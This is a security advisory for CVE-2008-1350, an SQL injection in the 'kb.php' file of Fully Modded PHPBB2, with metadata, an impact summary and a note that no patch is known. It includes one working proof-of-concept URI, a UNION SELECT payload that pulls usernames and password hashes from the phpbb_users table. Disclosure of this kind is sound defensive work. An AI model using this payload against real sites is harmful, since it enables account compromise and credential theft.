Fully Modded PHPBB2 'kb.php' SQL Injection Vulnerability

Bugtraq ID:	28225
Class:	Input Validation Error
CVE:	CVE-2008-1350
Remote:	Yes
Local:	No
Published:	Mar 12 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	TurkishWarriorr is credited with the discovery of this vulnerability.
Vulnerable:	Fully Modded PHPBB2 Fully Modded PHPBB2 0
Not Vulnerable:

Fully Modded PHPBB2 'kb.php' SQL Injection Vulnerability

Fully Modded PHPBB2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Fully Modded PHPBB2 'kb.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+=2&page_num=2&cat=1

Fully Modded PHPBB2 'kb.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Fully Modded PHPBB2 'kb.php' SQL Injection Vulnerability

References:

• Fully Modded PHPBB2 Homepage (Fully Modded PHPBB2)
  
• Powered by phpBB 2001, 2006 (SQL) ([email protected])